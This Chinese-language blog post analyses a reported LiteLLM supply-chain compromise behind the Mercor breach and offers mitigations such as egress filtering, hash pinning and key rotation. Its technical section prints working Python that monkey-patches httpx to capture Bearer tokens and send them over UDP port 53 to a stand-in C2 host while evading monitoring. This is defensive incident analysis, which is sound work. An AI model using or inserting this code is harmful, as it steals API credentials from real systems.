Back to Blog

LiteLLM 供应链攻击:从 Mercor 网络攻击事件中吸取的教训

April 3, 2026by Ichiban Team
securityllmopen-sourcecybersecuritylitellm

Hero

#引言

大型语言模型(LLM)的迅速普及催生了一个庞大的工具生态系统,用于编排、路由和管理生成式 AI 的工作负载。然而,这一新兴的基础设施正日益成为高级威胁参与者的首要目标。2026 年 3 月 31 日,AI 招聘初创公司 Mercor 披露了一起重大的网络攻击事件,这彻底暴露了该生态系统的脆弱性。

此次数据泄露的根本原因是一起涉及 LiteLLM 的供应链攻击。LiteLLM 是一个被广泛使用的开源项目,旨在标准化数百家 LLM 提供商的 API 调用。对于开发者、基础设施工程师和安全团队而言,这一事件无疑敲响了刺耳的警钟。它凸显了依赖第三方代理的脆弱性,并表明当旨在管理 API 密钥的工具被武器化用来对付我们时,其破坏范围将是灾难性的。

#事件经过

根据披露信息及随后的安全报告,此次漏洞并非是对 Mercor 核心基础设施的直接入侵,而是一场典型且高度复杂的、针对其依赖项的供应链攻击。LiteLLM 充当通用的 I/O 转换层,作为集中式代理将请求路由至 OpenAI、Anthropic 和 Google 等提供商。

2026 年 3 月底,恶意攻击者成功窃取了 LiteLLM 仓库维护者的凭证。攻击者并没有破坏项目或导致立即停机,而是巧妙地将木马化的有效载荷注入到 Python Package Index (PyPI) 的次要版本更新以及相应的 Docker Hub 镜像库中。恶意代码经过精心设计,在本地测试期间会处于休眠状态,仅在生产环境中执行。它通过扫描特定的环境变量(如 NODE_ENV=production)或检测高并发负载来识别其宿主。

Mercor 使用 LiteLLM 来处理高并发、低延迟的 AI 面试解析和生成,在常规的持续部署(CD)周期中,系统自动拉取了受损的镜像。一旦激活,该有效载荷便悄无声息地拦截 HTTP 请求,将高权限的 API 密钥以及部分提示词(prompt)有效载荷外泄至外部的命令与控制(C2)服务器,直到 Mercor 的安全团队检测到异常的网络流出。

#影响深远

Mercor 事件是 AI 基础设施安全的分水岭,因为它突显了“AI 网关”内部巨大的风险集中度。像 LiteLLM 这样的工具,其设计初衷就是掌握“王国的钥匙”。从定义上讲,它们需要访问具有巨额支出限制的高权限凭证才能有效运行。

当标准的 Web 依赖项受损时,其影响可能仅限于计算劫持(挖矿)或局部数据窃取。然而,当 AI 代理受损时,攻击者可立即获得无限制的 API 计费额度——可能在短短几个小时内使组织损失数十万美元。更关键的是,他们能够访问流入和流出模型的原始数据。对于像 Mercor 这样处理高度敏感求职者面试信息的公司而言,提示词数据的被拦截意味着严重的数据隐私泄露。

这一事件粉碎了开发者对快速发展的开源 AI 生态系统通常抱有的盲目信任。它证明了威胁参与者正将其焦点从传统的 Web 漏洞转移到现代 AI 应用程序的特定架构咽喉点上。

#技术深度剖析

从技术角度来看,针对 LiteLLM 的攻击是利用 Python 动态运行时能力的一个“大师级”案例。恶意有效载荷并没有重写核心路由逻辑,因为那会引发立即的故障或单元测试警报。相反,它利用猴子补丁(monkey-patching)技术,钩入(hook)了 LiteLLM 用于发起实际 API 调用的底层异步 HTTP 客户端 (httpx)。

通过拦截 httpx.AsyncClient.send 方法,攻击者可以检查所有传出请求的请求头。如果检测到 Authorization: Bearer 头,有效载荷会异步触发一个包含 API 密钥的轻量级、非阻塞 UDP 数据包至 C2 服务器。

以下是这种猴子补丁攻击在基于 Python 的代理中如何运作的概念性重构:

import httpx
import threading
import socket

# Retain a reference to the original, unpatched method
_original_send = httpx.AsyncClient.send

async def _malicious_send(self, request, *args, **kwargs):
    # Extract headers silently without modifying the request
    auth_header = request.headers.get("Authorization")
    
    if auth_header and "Bearer" in auth_header:
        # Fire-and-forget exfiltration via UDP to avoid blocking the event loop
        def exfiltrate():
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                # Port 53 is used to masquerade as standard DNS traffic
                sock.sendto(auth_header.encode(), ("malicious-c2.example.com", 53))
            except Exception:
                pass
                
        # Run in a background thread to prevent latency spikes
        threading.Thread(target=exfiltrate, daemon=True).start()
        
    # Proceed with the legitimate request to avoid suspicion
    return await _original_send(self, request, *args, **kwargs)

# Apply the malicious patch at runtime
httpx.AsyncClient.send = _malicious_send

这种方法成功绕过了标准的应用性能监控(APM)系统,因为主要请求的延迟完全未受影响。此外,由于数据外泄通过端口 53(DNS)进行,它成功规避了许多默认的出口防火墙规则,这些规则通常允许出站 DNS 流量以解析主机名。

此次攻击之所以能够成功,源于典型 AI 部署中普遍存在的两个关键架构缺陷:

漏洞向量描述本次事件中的利用方式
宽松的出口网络策略容器通常被允许发起连接到任意 IP 的出站请求。允许数据外泄脚本不受阻碍地与 C2 服务器通信。
动态依赖解析在包管理器中依赖 latest 标签或未锁定的版本范围(例如 ^1.0.0)。在 CD 过程中自动拉取了受损的依赖版本。

#应对之策

此次攻击的余波迫使我们必须立即转变保护生成式 AI 应用程序安全的范式。工程团队必须将 AI 代理和网关视为核心(Tier-0)基础设施,并实施与身份提供程序、核心数据库或密钥保管库同等严格的安全控制。

直接的补救策略包括:

  • 严格的出口过滤: AI 代理必须部署在隔离的网络环境(例如,具有 PrivateLink 或严格安全组的 AWS VPC)中,该环境仅允许出站流量流向已知、静态的 IP 范围或所使用的 LLM 提供商的特定域名(例如 api.openai.comapi.anthropic.com)。
  • 加密校验: 为所有 Python 包和 Docker 镜像实施基于 SHA256 哈希的严格依赖锁定。避免在生产部署中使用浮动标签。
  • 密钥隔离与轮换: 使用短期、范围受限的 API 密钥,而非长期有效的万能密钥。提供商正越来越多地支持对其 API 进行细粒度的基于角色的访问控制(RBAC),如果单一密钥泄露,这将严重限制其破坏范围。

#结语

LiteLLM 的受损以及由此导致的对 Mercor 的攻击发出了严厉的警告:AI 工具的运营成熟度仍在努力追赶其爆炸式普及的步伐。随着我们构建越来越强大、互联的 AI 系统,我们的防御姿态也必须同步演进。保障 AI 供应链安全不再是可有可无的最佳实践;它已成为在现代生成式 AI 时代安全运营的基础要求。